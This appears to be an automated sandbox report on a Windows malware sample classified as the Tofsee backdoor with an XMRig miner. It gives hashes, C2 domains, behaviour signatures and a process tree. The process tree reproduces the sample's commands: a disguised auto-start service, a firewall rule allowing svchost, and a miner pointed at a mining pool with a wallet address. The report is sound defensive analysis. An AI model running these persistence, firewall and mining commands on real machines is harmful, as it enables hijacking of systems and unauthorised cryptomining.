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Analysis

  • max time kernel
    148s
  • max time network
    168s
  • platform
    windows7_x64
  • resource
    win7-20230831-en
  • resource tags

    arch:x64arch:x86image:win7-20230831-enlocale:en-usos:windows7-x64system
  • submitted
    11/10/2023, 09:19

General

  • Target

    file.exe

  • Size

    334KB

  • MD5

    326c87f0f560c113b40c81b5ce323446

  • SHA1

    89e1888d493b6bba3f419d93cc1ea5baead3ab99

  • SHA256

    551b111c31fac62a31b4621971488f645e4d24b709c1989a993f6c3a5b0091ee

  • SHA512

    e38705e915f7e3c4a18229856162782040e84e986e1ed67f282a28be2d9de7b4d988caf975125170c23c88133f90fb4e28fb39538aee3ebaab452dab54789060

  • SSDEEP

    3072:e0dFL6r3o6iqLCJTWqN/nqUQuGtQc6FHbTtMM0HIb4RINRC2No:lFLu3BiqLtqpn1RFxMM+Ib56

Malware Config

Extracted

Family

tofsee

C2

vanaheim.cn

jotunheim.name

Signatures

  • Tofsee

    Backdoor/botnet which carries out malicious activities based on commands from a C2 server.

  • Windows security bypass 2 TTPs 1 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • XMRig Miner payload 7 IoCs
  • Creates new service(s) 1 TTPs
  • Modifies Windows Firewall 1 TTPs 1 IoCs
  • Sets service image path in registry 2 TTPs 1 IoCs
  • Deletes itself 1 IoCs
  • Executes dropped EXE 1 IoCs
  • Drops file in System32 directory 2 IoCs
  • Suspicious use of SetThreadContext 2 IoCs
  • Launches sc.exe 3 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Modifies data under HKEY_USERS 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 36 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\file.exe
    "C:\Users\Admin\AppData\Local\Temp\file.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2996
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\wzjofqqv\
      2⤵
        PID:2956
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\kwinkqpd.exe" C:\Windows\SysWOW64\wzjofqqv\
        2⤵
          PID:2596
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" create wzjofqqv binPath= "C:\Windows\SysWOW64\wzjofqqv\kwinkqpd.exe /d\"C:\Users\Admin\AppData\Local\Temp\file.exe\"" type= own start= auto DisplayName= "wifi support"
          2⤵
          • Launches sc.exe
          PID:2672
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" description wzjofqqv "wifi internet conection"
          2⤵
          • Launches sc.exe
          PID:2560
        • C:\Windows\SysWOW64\sc.exe
          "C:\Windows\System32\sc.exe" start wzjofqqv
          2⤵
          • Launches sc.exe
          PID:2300
        • C:\Windows\SysWOW64\netsh.exe
          "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
          2⤵
          • Modifies Windows Firewall
          PID:2480
      • C:\Windows\SysWOW64\wzjofqqv\kwinkqpd.exe
        C:\Windows\SysWOW64\wzjofqqv\kwinkqpd.exe /d"C:\Users\Admin\AppData\Local\Temp\file.exe"
        1⤵
        • Executes dropped EXE
        • Suspicious use of SetThreadContext
        • Suspicious use of WriteProcessMemory
        PID:2372
        • C:\Windows\SysWOW64\svchost.exe
          svchost.exe
          2⤵
          • Windows security bypass
          • Sets service image path in registry
          • Deletes itself
          • Drops file in System32 directory
          • Suspicious use of SetThreadContext
          • Modifies data under HKEY_USERS
          • Suspicious use of WriteProcessMemory
          PID:3020
          • C:\Windows\SysWOW64\svchost.exe
            svchost.exe -o fastpool.xyz:10060 -u 9mLwUkiK8Yp89zQQYodWKN29jVVVz1cWDFZctWxge16Zi3TpHnSBnnVcCDhSRXdesnMBdVjtDwh1N71KD9z37EzgKSM1tmS.200000 -p x -k -a cn/half --cpu-priority 1
            3⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:1676

      Network

      MITRE ATT&CK Enterprise v15

      Replay Monitor

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      Downloads

      • C:\Users\Admin\AppData\Local\Temp\kwinkqpd.exe

        Filesize

        10.5MB

        MD5

        2831d0e2b65a3f295b6e3777f9844cfa

        SHA1

        15f074381a04532970ed4636af0c5943c2f1f747

        SHA256

        3f92d3c4a97246771a8918f46c039c4ca31053b0e8891b759156c9d5ad9407a7

        SHA512

        b15066c449af84f17c7a9e2ebb5b60b3b11d7a68ee00c82a1c4e0a7ad5afd4014b3116e95cbc5e358c5527e02cc037cf2d7d5c3a55b48c5161d51a8d7018ce76

      • C:\Windows\SysWOW64\wzjofqqv\kwinkqpd.exe

        Filesize

        10.5MB

        MD5

        2831d0e2b65a3f295b6e3777f9844cfa

        SHA1

        15f074381a04532970ed4636af0c5943c2f1f747

        SHA256

        3f92d3c4a97246771a8918f46c039c4ca31053b0e8891b759156c9d5ad9407a7

        SHA512

        b15066c449af84f17c7a9e2ebb5b60b3b11d7a68ee00c82a1c4e0a7ad5afd4014b3116e95cbc5e358c5527e02cc037cf2d7d5c3a55b48c5161d51a8d7018ce76

      • memory/1676-74-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1676-66-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1676-65-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1676-75-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1676-77-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1676-79-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1676-78-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/1676-76-0x00000000000D0000-0x00000000001C1000-memory.dmp

        Filesize

        964KB

      • memory/2372-14-0x0000000000400000-0x00000000025A6000-memory.dmp

        Filesize

        33.6MB

      • memory/2372-18-0x0000000000400000-0x00000000025A6000-memory.dmp

        Filesize

        33.6MB

      • memory/2372-12-0x0000000002650000-0x0000000002750000-memory.dmp

        Filesize

        1024KB

      • memory/2996-1-0x00000000026C0000-0x00000000027C0000-memory.dmp

        Filesize

        1024KB

      • memory/2996-9-0x0000000000400000-0x00000000025A6000-memory.dmp

        Filesize

        33.6MB

      • memory/2996-8-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/2996-7-0x0000000000400000-0x00000000025A6000-memory.dmp

        Filesize

        33.6MB

      • memory/2996-6-0x00000000026C0000-0x00000000027C0000-memory.dmp

        Filesize

        1024KB

      • memory/2996-3-0x0000000000400000-0x00000000025A6000-memory.dmp

        Filesize

        33.6MB

      • memory/2996-2-0x0000000000220000-0x0000000000233000-memory.dmp

        Filesize

        76KB

      • memory/3020-53-0x0000000000130000-0x0000000000135000-memory.dmp

        Filesize

        20KB

      • memory/3020-43-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-30-0x0000000000110000-0x0000000000116000-memory.dmp

        Filesize

        24KB

      • memory/3020-40-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-39-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-48-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-29-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/3020-56-0x0000000000130000-0x0000000000135000-memory.dmp

        Filesize

        20KB

      • memory/3020-57-0x0000000005940000-0x0000000005D4B000-memory.dmp

        Filesize

        4.0MB

      • memory/3020-52-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-51-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-50-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-49-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-47-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-46-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-45-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-44-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-33-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-60-0x0000000005940000-0x0000000005D4B000-memory.dmp

        Filesize

        4.0MB

      • memory/3020-42-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-41-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-61-0x00000000001F0000-0x00000000001F7000-memory.dmp

        Filesize

        28KB

      • memory/3020-38-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-37-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-36-0x0000000000120000-0x0000000000130000-memory.dmp

        Filesize

        64KB

      • memory/3020-26-0x0000000001A10000-0x0000000001C1F000-memory.dmp

        Filesize

        2.1MB

      • memory/3020-25-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3020-23-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3020-22-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3020-21-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3020-17-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB

      • memory/3020-15-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

        Filesize

        4KB

      • memory/3020-13-0x0000000000080000-0x0000000000095000-memory.dmp

        Filesize

        84KB